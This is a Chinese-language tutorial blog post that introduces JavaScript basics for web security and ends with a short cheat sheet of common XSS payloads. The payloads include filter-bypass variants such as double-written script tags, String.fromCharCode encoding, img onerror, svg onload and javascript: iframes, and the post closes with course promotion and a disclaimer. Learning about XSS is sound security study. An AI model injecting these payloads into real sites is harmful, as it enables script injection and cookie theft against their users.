网络安全-js安全知识点与XSS常用payloads

发布于:2025-02-22 ⋅ 阅读:(17) ⋅ 点赞:(0)

简介

JavaScript 是一种轻量级的编程语言,定义了HTML的行为。它与Java的关系类似周杰和周杰伦的关系(即没有关系)。

用法

HTML 中的脚本必须位于 <script> 与 </script> 标签之间。

脚本可被放置在 HTML 页面的 <body> 和 <head> 部分中。

JS必备知识

输出与注释

输出

  • 使用 window.alert() 弹出警告框。
  • 使用 document.write() 方法将内容写到 HTML 文档中。
  • 使用 innerHTML 写入到 HTML 元素。
  • 使用 console.log() 写入到浏览器的控制台。

<script>
window.alert('lady_killer9');
</script>

网络安全-js安全知识点与XSS常用payloads_网络安全

<p>内容写到html文档。</p>
<script>
document.write('Frankyu');
</script>

网络安全-js安全知识点与XSS常用payloads_正则表达式_02

<script>
a = 5;
b = 4;
c = a + b;
console.log('lady_killer'+c);
</script>

网络安全-js安全知识点与XSS常用payloads_正则表达式_03

注释

单行注释以 // 开头。多行注释以 /* 开始,以 */ 结尾。

语法

关键字var来定义局部变量,没有关键字时为全局变量,页面上所有脚本和函数都能访问。

使用 ; 来分隔语句

使用 \ 来进行折行

运算符、条件控制与c++差不多

值类型(基本类型):字符串(String)、数字(Number)、布尔(Boolean)、对空(Null)、未定义(Undefined)、Symbol。

引用数据类型:对象(Object)、数组(Array)、函数(Function)。

动态类型,即变量可以改为不同类型。

面向对象语言,对象有属性和方法。

函数

关键字function定义一个函数

参数默认值为undefined,argument 对象包含了函数调用的参数数组。

关键字return来返回值

function myFunction(var1,var2,...)
{
代码

return something;
}

字符串方法

字符串方法
方法 描述
charAt() 返回指定索引位置的字符
charCodeAt() 返回指定索引位置字符的 Unicode 值
concat() 连接两个或多个字符串,返回连接后的字符串
fromCharCode() 将 Unicode 转换为字符串
indexOf() 返回字符串中检索指定字符第一次出现的位置
lastIndexOf() 返回字符串中检索指定字符最后一次出现的位置
localeCompare() 用本地特定的顺序来比较两个字符串
match() 找到一个或多个正则表达式的匹配
replace() 替换与正则表达式匹配的子串
search() 检索与正则表达式相匹配的值
slice() 提取字符串的片断,并在新的字符串中返回被提取的部分
split() 把字符串分割为子字符串数组
substr() 从起始索引号提取字符串中指定数目的字符
substring() 提取字符串中两个指定的索引号之间的字符
toLocaleLowerCase() 根据主机的语言环境把字符串转换为小写,只有几种语言(如土耳其语)具有地方特有的大小写映射
toLocaleUpperCase() 根据主机的语言环境把字符串转换为大写,只有几种语言(如土耳其语)具有地方特有的大小写映射
toLowerCase() 把字符串转换为小写
toString() 返回字符串对象值
toUpperCase() 把字符串转换为大写
trim() 移除字符串首尾空白
valueOf() 返回某个字符串对象的原始值

事件

HTML 事件可以是浏览器行为,也可以是用户行为。

常见HTML事件
事件 描述
onchange HTML 元素改变
onclick 用户点击 HTML 元素
onmouseover 用户在一个HTML元素上移动鼠标
onmouseout 用户从一个HTML元素上移开鼠标
onkeydown 用户按下键盘按键
onload 浏览器已完成页面的加载
onerror 出错时执行,用于故意构造错误时执行代码

表单

document.forms[表单名][变量名]

Cookie

<script>document.cookie</script>

代码执行

eval函数将参数作为js代码执行

伪协议

javascript:js代码,可以放到Html标签中

XSS常用payload

普通

<script>alert('XSS')</script>
<script>document.cookie</script>

    双写绕过

    例如,php中使用str_replace函数替换<script>

    <scr<script>ipt>alert('XSS')</scr<script>ipt>

      编码绕过

      例如,php中使用mysqli_real_escape_string函数转义特殊字符

      "><script>alert(String.fromCharCode(88,83,83))</script>

        html标签绕过正则

        例如,php中使用preg_filter函数进行正则匹配删除script

        登录后复制 

        <img src=x onerror=alert('XSS');>
        <img src=x:alert(alt) onerror=eval(src) alt=xss>
        "><svg/onload=alert(/XSS/)
        <div onpointerover="alert(45)">MOVE HERE</div>
        <IFRAME SRC=javascript:alert(‘XSS’)></IFRAME>
        <A HREF=http://127.0.0.1/phpinfo.php>link</A>

         

        网络安全学习路线

        对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

        同时每个成长路线对应的板块都有配套的视频提供:

        需要网络安全学习路线和视频教程的可以在评论区留言哦~

        最后
        • 如果你确实想自学的话,我可以把我自己整理收藏的这些教程分享给你,里面不仅有web安全,还有渗透测试等等内容,包含电子书、面试题、pdf文档、视频以及相关的课件笔记,我都已经学过了,都可以免费分享给大家!

        给小伙伴们的意见是想清楚,自学网络安全没有捷径,相比而言系统的网络安全是最节省成本的方式,因为能够帮你节省大量的时间和精力成本。坚持住,既然已经走到这条路上,虽然前途看似困难重重,只要咬牙坚持,最终会收到你想要的效果。

        黑客工具&SRC技术文档&PDF书籍&web安全等(可分享)

        结语

        网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。

        特别声明:
        此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失